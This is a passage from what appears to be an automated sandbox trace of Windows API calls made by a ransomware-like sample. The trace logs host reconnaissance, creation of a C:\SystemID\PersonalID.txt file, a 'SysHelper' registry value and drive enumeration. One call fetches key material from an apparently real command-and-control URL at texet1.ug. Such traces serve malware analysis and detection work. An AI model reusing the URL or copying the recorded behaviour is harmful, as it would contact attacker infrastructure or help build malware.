Size=0x20) returned 0x2fdfc08 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde3d0 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33748 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x138) returned 0x2faead8 [0117.888] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f78dc0 | out: hHeap=0x5e0000) returned 1 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef338 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde428 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde480 [0117.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef380 [0117.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x1c8) returned 0x2ff6150 [0117.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2faead8 | out: hHeap=0x5e0000) returned 1 [0117.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdfbe0 | out: hHeap=0x5e0000) returned 1 [0117.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0117.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33818 | out: hHeap=0x5e0000) returned 1 [0117.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef260 | out: hHeap=0x5e0000) returned 1 [0117.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde320 | out: hHeap=0x5e0000) returned 1 [0117.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde378 | out: hHeap=0x5e0000) returned 1 [0117.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef2f0 | out: hHeap=0x5e0000) returned 1 [0117.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdfc08 | out: hHeap=0x5e0000) returned 1 [0117.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde3d0 | out: hHeap=0x5e0000) returned 1 [0117.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33748 | out: hHeap=0x5e0000) returned 1 [0117.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef338 | out: hHeap=0x5e0000) returned 1 [0117.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde428 | out: hHeap=0x5e0000) returned 1 [0117.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde480 | out: hHeap=0x5e0000) returned 1 [0117.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef380 | out: hHeap=0x5e0000) returned 1 [0117.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6150 | out: hHeap=0x5e0000) returned 1 [0117.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x28) returned 0x3011968 [0117.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300da98 [0117.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300dd00 [0117.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300df68 [0117.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300e1d0 [0117.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300e438 [0117.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300e6a0 [0117.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300e908 [0117.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300eb70 [0117.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x3013f48 [0117.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x30141b0 [0117.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x2ffff40 [0117.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x130) returned 0x2faead8 [0117.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffff40 | out: hHeap=0x5e0000) returned 1 [0117.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x1d0) returned 0x2ff6150 [0117.890] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2faead8 | out: hHeap=0x5e0000) returned 1 [0117.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x2b7) returned 0x2fe9270 [0117.890] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6150 | out: hHeap=0x5e0000) returned 1 [0117.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x412) returned 0x2ffb810 [0117.890] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fe9270 | out: hHeap=0x5e0000) returned 1 [0117.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x61a) returned 0x2ffd138 [0117.890] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffb810 | out: hHeap=0x5e0000) returned 1 [0117.890] GetUserNameW (in: lpBuffer=0x18e150, pcbBuffer=0x18debc | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18debc) returned 1 [0117.892] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x590) returned 0x2fe9270 [0117.892] GetLastError () returned 0x0 [0117.893] CreateFileW (lpFileName="C:\\SystemID\\PersonalID.txt" (normalized: "c:\\systemid\\personalid.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18dbb0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.894] GetLastError () returned 0x3 [0117.894] GetLastError () returned 0x3 [0117.894] CreateDirectoryW (lpPathName="C:\\SystemID" (normalized: "c:\\systemid"), lpSecurityAttributes=0x0) returned 1 [0117.895] CreateFileW (lpFileName="C:\\SystemID\\PersonalID.txt" (normalized: "c:\\systemid\\personalid.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18dbb0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b4 [0117.896] GetFileType (hFile=0x5b4) returned 0x1 [0117.896] GetLastError () returned 0x0 [0117.898] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0117.898] RegisterClassExW (param_1=0x18de28) returned 0xc129 [0117.899] CreateWindowExW (dwExStyle=0x0, lpClassName="LPCWSTRszWindowClass", lpWindowName="LPCWSTRszTitle", dwStyle=0xcf0000, X=-2147483648, Y=0, nWidth=-2147483648, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x30154 [0117.908] NtdllDefWindowProc_W () returned 0x0 [0117.908] NtdllDefWindowProc_W () returned 0x1 [0117.911] NtdllDefWindowProc_W () returned 0x0 [0118.004] NtdllDefWindowProc_W () returned 0x0 [0118.004] ShowWindow (hWnd=0x30154, nCmdShow=0) returned 0 [0118.004] UpdateWindow (hWnd=0x30154) returned 1 [0118.004] GetLogicalDrives () returned 0x4 [0118.004] SetErrorMode (uMode=0x1) returned 0x0 [0118.004] PathFileExistsA (pszPath="C:\\") returned 1 [0118.005] SetErrorMode (uMode=0x0) returned 0x1 [0118.005] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0118.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x806) returned 0x3049d00 [0118.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18dde0, cbMultiByte=-1, lpWideCharStr=0x3049d00, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0118.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x2ffd760 [0118.005] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3049d00 | out: hHeap=0x5e0000) returned 1 [0118.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x18) returned 0x2fc8c60 [0118.005] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffd760 | out: hHeap=0x5e0000) returned 1 [0118.005] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fc8c60 | out: hHeap=0x5e0000) returned 1 [0118.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x18) returned 0x2fc8c60 [0118.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x10) returned 0x30036f8 [0118.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x110) returned 0x300ae10 [0118.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x3049d00 [0118.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3055848 [0118.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x10b0) returned 0x2fea8a8 [0118.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33818 [0118.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x2ffd760 [0118.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x660) returned 0x305e858 [0118.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x30560d0 [0118.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x3056958 [0118.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x30571e0 [0118.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x3057a68 [0118.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x30582f0 [0118.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x305b668 [0118.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3058b78 [0118.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3059400 [0118.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x305beb0 [0118.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x2feb960 [0118.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x2fec1c8 [0118.006] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3059c88 [0118.006] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x305eed8 [0118.006] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x306eec0 [0118.006] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x306f708 [0118.006] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x305f760 [0118.006] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x305ffe8 [0118.006] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x3060870 [0118.006] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x30610f8 [0118.006] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3061980 [0118.006] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3062208 [0118.006] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x3062a90 [0118.007] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x3063318 [0118.007] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3063ba0 [0118.007] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3064428 [0118.007] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x306ff50 [0118.007] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x30707b8 [0118.007] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3064cb0 [0118.007] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3065538 [0118.007] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x3065dc0 [0118.007] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x3071020 [0118.007] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x3071868 [0118.007] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x3066648 [0118.007] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x3066ed0 [0118.007] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x3067758 [0118.007] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3067fe0 [0118.008] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3068868 [0118.008] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x30690f0 [0118.008] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x3069978 [0118.008] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x306a200 [0118.008] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x306aa88 [0118.008] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x30720b0 [0118.008] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3072918 [0118.008] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x306b310 [0118.008] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x306bb98 [0118.008] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x306c420 [0118.008] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x3073180 [0118.008] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x30739c8 [0118.008] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x306cca8 [0118.008] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x306d530 [0118.008] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x306ddb8 [0118.008] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3074228 [0118.009] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3074ab0 [0118.009] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3075338 [0118.009] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x3075bc0 [0118.009] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x3076448 [0118.009] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3076cd0 [0118.009] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3084210 [0118.009] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3084a78 [0118.009] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3077558 [0118.009] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3077de0 [0118.009] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x3078668 [0118.009] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x3078ef0 [0118.009] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x3079778 [0118.009] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307a000 [0118.009] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307a888 [0118.009] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307b110 [0118.009] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307b998 [0118.009] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6bf0 [0118.009] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307c220 [0118.010] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x30852e0 [0118.010] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x3085af8 [0118.010] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x3086310 [0118.010] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x3086b28 [0118.010] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x3087340 [0118.010] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x3087b58 [0118.010] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x307caa8 [0118.010] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33880 [0118.010] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307d330 [0118.010] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307dbb8 [0118.010] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307e440 [0118.010] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307ecc8 [0118.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4156a0, lpParameter=0x300ae18, dwCreationFlags=0x0, lpThreadId=0x3003700 | out: lpThreadId=0x3003700*=0x5d0) returned 0x39c [0118.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4162f0, lpParameter=0x473998, dwCreationFlags=0x0, lpThreadId=0x473990 | out: lpThreadId=0x473990*=0x318) returned 0x394 [0118.012] GetMessageW (lpMsg=0x18dfd8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0122.736] NtdllDefWindowProc_W () returned 0x0 [0130.894] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x800) returned 0x3090b70 [0130.894] GetComputerNameW (in: lpBuffer=0x3090b70, nSize=0x18db30 | out: lpBuffer="XDUWTFONO", nSize=0x18db30) returned 1 [0130.894] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30228d0 [0130.894] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3090b70 | out: hHeap=0x5e0000) returned 1 [0130.894] IsWindow (hWnd=0x30154) returned 1 [0130.894] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30228d0 | out: hHeap=0x5e0000) returned 1 [0212.402] NtdllDefWindowProc_W () returned 0x1 [0234.914] NtdllDefWindowProc_W () returned 0x1 Thread: id = 140 os_tid = 0x6d8 Thread: id = 141 os_tid = 0x6dc Thread: id = 142 os_tid = 0x6e0 Thread: id = 143 os_tid = 0x6e4 Thread: id = 144 os_tid = 0x6e8 Thread: id = 145 os_tid = 0x6f0 Thread: id = 229 os_tid = 0x348 Thread: id = 230 os_tid = 0x34c Thread: id = 275 os_tid = 0x350 [0116.890] timeGetTime () returned 0x93c9 [0116.890] GetLastError () returned 0x54f [0116.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3bc) returned 0x2fe7e18 [0116.890] GetCurrentThreadId () returned 0x350 [0116.890] SetLastError (dwErrCode=0x54f) [0116.890] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0xf003f, phkResult=0x97fa6e4 | out: phkResult=0x97fa6e4*=0x5a0) returned 0x0 [0116.890] RegQueryValueExW (in: hKey=0x5a0, lpValueName="SysHelper", lpReserved=0x0, lpType=0x97fa6d8, lpData=0x97fa6e0, lpcbData=0x97fa6dc*=0x4 | out: lpType=0x97fa6d8*=0x0, lpData=0x97fa6e0*=0x0, lpcbData=0x97fa6dc*=0x4) returned 0x2 [0116.890] RegSetValueExW (in: hKey=0x5a0, lpValueName="SysHelper", Reserved=0x0, dwType=0x4, lpData=0x97fa6e0*=0x1, cbData=0x4 | out: lpData=0x97fa6e0*=0x1) returned 0x0 [0116.890] RegCloseKey (hKey=0x5a0) returned 0x0 [0116.890] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0116.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0116.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd6) returned 0x2f78b20 [0116.890] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0116.891] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x6d5928 [0116.891] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x2fe81e0 [0116.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6d5928, cbMultiByte=-1, lpWideCharStr=0x2fe81e0, cchWideChar=1056 | out: lpWideCharStr="0C9F822062B97945A1C3E8A42C889890") returned 33 [0116.891] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x850) returned 0x2fe8a28 [0116.891] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fe81e0 | out: hHeap=0x5e0000) returned 1 [0116.891] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6d5928 | out: hHeap=0x5e0000) returned 1 [0116.891] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8e0) returned 0x2ffb810 [0116.891] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f78b20 | out: hHeap=0x5e0000) returned 1 [0116.891] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fe8a28 | out: hHeap=0x5e0000) returned 1 [0116.891] lstrcpyW (in: lpString1=0x97faf78, lpString2="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php?pid=0C9F822062B97945A1C3E8A42C889890" | out: lpString1="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php?pid=0C9F822062B97945A1C3E8A42C889890") returned="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php?pid=0C9F822062B97945A1C3E8A42C889890" [0116.891] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php?pid=0C9F822062B97945A1C3E8A42C889890", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0117.644] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x97fa778, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x97fa774 | out: lpBuffer=0x97fa778*, lpdwNumberOfBytesRead=0x97fa774*=0x67) returned 1 [0117.645] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0117.648] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0117.648] lstrlenA (lpString="{\"line1\":\"") returned 10 [0117.648] lstrcpyA (in: lpString1=0x97fab78, lpString2="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}" | out: lpString1="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}" [0117.648] lstrcpyA (in: lpString1=0x97fa778, lpString2="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}" | out: lpString1="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}" [0117.648] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.648] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.648] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.648] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.648] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.648] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.648] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.648] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.648] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.648] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.648] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.648] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.648] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.648] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.648] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 